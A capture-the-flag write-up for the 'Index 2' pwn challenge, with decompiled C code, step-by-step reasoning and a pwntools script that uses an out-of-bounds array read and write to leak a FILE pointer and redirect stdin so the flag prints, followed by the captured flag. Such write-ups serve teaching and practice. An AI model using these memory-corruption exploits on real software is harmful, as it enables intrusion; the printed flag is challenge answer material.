ctf-writeups

Index 2

Co-authors: @Rosayxy

This time, you get the file pointer, not the flag itself.

Decompiled code via Ghidra:

undefined8 main(undefined8 *param_1)
{
  int iVar1;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  do {
    while( true ) {
      menu();
      fgets(local_78,100,stdin);
      iVar1 = atoi(local_78);
      if (iVar1 < 5) break;
      if (iVar1 == 0x539) {
        f = fopen("flag.txt","r");
      }
    }
    switch(iVar1) {
    case 0:
      printf("Invalid choice: %s",local_78);
      break;
    case 1:
      store_data();
      break;
    case 2:
      read_data();
      break;
    case 3:
      print_flag();
      break;
    case 4:
      puts("Bye!");
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
  } while( true );
}


void read_data(void)
{
  int local_c;
  
  printf("Index: ");
  __isoc99_scanf(&DAT_00102041,&local_c);
  getchar();
  printf("Data: %s",nums + (long)local_c * 8);
  return;
}


void store_data(void)
{
  long in_FS_OFFSET;
  int local_1c [3];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Index: ");
  __isoc99_scanf(&DAT_00102041,local_1c);
  getchar();
  printf("Data: ");
  fgets(nums + (long)local_1c[0] * 8,8,stdin);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Steps:

  1. open flag.txt and save FILE * to f variable
  2. use out of bounds read to read f in read_data: flag is at 0x1040a0, nums is at 0x104060, so index is (0x1040a0-0x104060)/8=8
  3. override stdin to f: nums is at 0x104060, stdin is at 0x104030, so index is (0x104030-0x104060)/8=-6
  4. then the program finds data read from stdin invalid in fgets(local_78,100,stdin);iVar1 = atoi(local_78);, and prints out its content via printf("Invalid choice: %s",local_78);
  5. get flag

Code:

from pwn import *
elf = ELF("./index-2")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch='amd64', os='linux', log_level='debug')

p = remote("play.scriptsorcerers.xyz", 10022)
#p = process("./ld-linux-x86-64.so.2 ./index-2", shell="True")
p.sendline("1337")
p.sendline("2")
p.recvuntil("Index")
p.sendline("8")
# get f addr
data = p.recvline()
addr = data.split()[2][:-2]
print(data, addr.hex())
# point stdin to f
p.sendline("1")
p.recvuntil("Index")
p.sendline("-6")
p.recvuntil("Data")
p.sendline(addr+b"\x00"*2)
p.interactive()

Get flag:

Invalid choice: scriptCTF{4rr4y_OOB_l3v3l_up!_a1cfd21b2bbd}
1. Store data
2. Read data
3. Print flag
4. Exit

Credits to @Rosayxy.